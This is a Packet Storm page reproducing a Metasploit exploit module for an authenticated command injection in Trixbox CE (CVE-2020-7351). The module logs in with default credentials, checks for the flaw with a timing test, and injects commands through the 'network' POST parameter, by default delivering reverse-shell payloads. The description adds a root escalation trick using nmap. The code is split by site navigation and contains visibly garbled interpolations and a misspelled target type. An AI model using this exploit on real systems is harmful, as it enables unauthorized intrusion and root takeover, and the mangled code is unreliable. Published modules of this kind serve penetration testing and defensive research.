

TrixBox CE 2.8.0.4 Command Execution

Authored by Anastasios Stasinopoulos, Obrela Labs Team | Site metasploit.com

Posted May 5, 2020

This Metasploit module exploits an authenticated OS command injection vulnerability found in Trixbox CE versions 1.2.0 through 2.8.0.4 inclusive in the network POST parameter of the /maint/modules/endpointcfg/endpoint_devicemap.php page. Successful exploitation allows for arbitrary command execution on the underlying operating system as the asterisk user. Users can easily elevate their privileges to the root user however by executing sudo nmap --interactive followed by !sh from within nmap.

tags | exploit, arbitrary, root, php

advisories | CVE-2020-7351

SHA-256 | d8cf1911eb53fa726641699bb7ddfd44e28e3c1e9e58c93506d65e29eb0dba8 Download | Favorite | View

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TrixBox CE endpoint_devicemap.php Authenticated Command Execution',
        'Description' => %q{
          This module exploits an authenticated OS command injection
          vulnerability found in Trixbox CE version 1.2.0 to 2.8.0.4
          inclusive in the "network" POST parameter of the
          "/maint/modules/endpointcfg/endpoint_devicemap.php" page.
          Successful exploitation allows for arbitrary command execution
          on the underlying operating system as the "asterisk" user.
          Users can easily elevate their privileges to the "root" user
          however by executing "sudo nmap --interactive" followed by "!sh"
          from within nmap.
        },
        'Author' => [
          # Obrela Labs Team - Discovery and Metasploit module
          'Anastasios Stasinopoulos (@ancst)'
        ],
        'References' => [
          ['CVE', '2020-7351'],
          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/13353'] # First ref is this module
        ],
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Payload' => { 'BadChars' => "\x00" },
        'DisclosureDate' => 'Apr 28 2020',
        'Targets' =>
          [
            [
              'Automatic (Linux Dropper)',
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
              'Type' => :linux_dropper
            ],
            [
              'Automatic (Unix In-Memory)',
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
              'Type' => :unix_memory
            ]
          ],
        'Privileged' => false,
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        OptString.new('HttpUsername', [ true, 'User to login with', 'maint']),
        OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),
      ]
    )
  end

  def user
    datastore['HttpUsername']
  end

  def pass
    datastore['HttpPassword']
  end

  def get_target(res)
    version = res.body.scan(/v\d.\d{0,1}\d{0,1}.\d{0,1}\d{0,1})/.flatten.first
    if version.nil?
      version = res.body.scan(/Version: (\d.\d{0,1}\d{0,1}.\d{0,1}\d{0,1})/.flatten.first
      if version.nil?
        print_error("#{peer} - Unable to grab version of Trixbox CE installed on target!")
        return nil
      end
    end
    print_good("#{peer} - Trixbox CE v#{version} identified.")
    if Gem::Version.new(version).between?(Gem::Version.new('2.6.0.0'), Gem::Version.new('2.8.0.4'))
      @uri = normalize_uri(target_uri.path, '/maint/modules/endpointcfg/endpoint_devicemap.php')
    elsif Gem::Version.new(version).between?(Gem::Version.new('2.0.0.0'), Gem::Version.new('2.4.9.9'))
      @uri = normalize_uri(target_uri.path, '/maint/modules/11_endpointcfg/endpoint_devicemap.php')
    elsif Gem::Version.new(version).between?(Gem::Version.new('1.2.0.0'), Gem::Version.new('1.9.9.9'))
      @uri = normalize_uri(target_uri.path, '/maint/endpoint_devicemap.php')
    else
      return nil
    end
    return version
  end

  def login(user, pass, _opts = {})
    uri = normalize_uri(target_uri.path, '/maint/')
    print_status("#{peer} - Authenticating using \"#{user}:#{pass}\" credentials...")
    res = send_request_cgi(
      'uri' => uri,
      'method' => 'GET',
      'authorization' => basic_auth(user, pass)
    )
    unless res
      # We return nil here, as callers should handle this case
      # specifically with their own unique error message.
      return nil
    end

    if res.code == 200
      print_good("#{peer} - Authenticated successfully.")
    elsif res.code == 401
      print_error("#{peer} - Authentication failed.")
    else
      print_error("#{peer} - The host responded with an unexpected status code: #{res.code}.")
    end
  end
```

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files

Ubuntu 68 files

LiquidWorm 23 files

Debian 16 files

malvuln 11 files

nu11security 11 files

Gentoo 9 files

Google Security Research 6 files

Julien Ahrens 4 files

T. Weber 4 files

File Tags

ActiveX (932)

Advisory (79,754)

Arbitrary (15,694)

BBS (2,859)

Bypass (1,619)

CGI (1,018)

Code Execution (8,926)

Conference (673)

Cracker (840)

CSRF (3,290)

DoS (22,602)

Encryption (2,349)

Exploit (50,359)

File Inclusion (4,165)

File Upload (946)

Firewall (821)

Info Disclosure (2,660)

Intrusion Detection (867)

Java (2,899)

JavaScript (821)

Kernel (6,291)

Local (14,201)

Magazine (586)

Overflow (12,419)

Perl (1,418)

PHP (5,093)

Proof of Concept (2,291)

Protocol (3,435)

Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

Shell (3,103)

Shellcode (1,204)

Sniffer (886)

File Archives

December 2022

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

Older

Systems

AIX (426)

Apple (1,926)

BSD (370)

CentOS (55)

Cisco (1,917)

Debian (6,634)

Fedora (1,600)

FreeBSD (1,242)

Gentoo (4,272)

HPUX (878)

IOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,315)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,469)

Slackware (941)

Solaris (1,607)

```

    return res
rescue :: Rex::ConnectionError
  print_error('Caught a Rex::ConnectionError in login() method. Connection failed.')
  return nil
end

def execute_command(cmd, _opts = {})
  send_request_cgi({
    'uri' => @uri,
    'method' => 'POST',
    'authorization' => basic_auth(user, pass),
    'vars_post' => {
      'network' => " #{@{cmd}} "
    }
  })
rescue :: Rex::ConnectionError
  fail_with(Failure::Unreachable, 'Connection failed.')
end

def check
  res = login(user, pass)
  unless res
    print_error("No response was received from #{@{peer}} whilst in check(), check it is online and the target port is open!")
    return CheckCode::Detected
  end
  if res.code == 200
    version = get_target(res)
    if version.nil?
      # We don't print out an error message here as returning this will
      # automatically cause Metasploit to print out an appropriate error message.
      return CheckCode::Safe
    end
    delay = rand(7...10)
    cmd = "sleep #{@{delay}}"
    print_status("#{peer} - Verifying remote code execution by attempting to execute ' #{@{cmd}} '.")
    t1 = Time.now.to_i
    res = execute_command(cmd)
    t2 = Time.now.to_i
    unless res
      print_error("#{peer} - Connection failed whilst trying to perform the command injection.")
      return CheckCode::Detected
    end
    diff = t2 - t1
    if diff >= delay
      print_good("#{peer} - Response received after #{@{diff}} seconds.")
      return CheckCode::Vulnerable
    else
      print_error("#{peer} - Response wasn't received within the expected period of time.")
      return CheckCode::Safe
    end
  end
rescue :: Rex::ConnectionError
  print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.")
  return CheckCode::Unknown
end

def exploit
  res = login(user, pass)
  unless res
    print_error("No response was received from #{@{peer}} whilst in exploit(), check it is online and the target port is open!")
  end
  if res.code == 200
    version = get_target(res)
    if version.nil?
      print_error("#{peer} - The target is not vulnerable.")
      return false
    end
    print_status("#{peer} - Sending payload (#{@{payload.encoded.length}} bytes)...")
    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_droppper
      execute_cmdstager(linemax: 130_000)
    end
  end
rescue :: Rex::ConnectionError
  print_error("Rex::ConnectionError caught in check(), could not connect to the target.")
  return false
end
end
```

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (876)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

[Login](#) or [Register](#) to add favorites

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links


News by Month
News Tags
Files by Month
File Tags
File Directory


About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed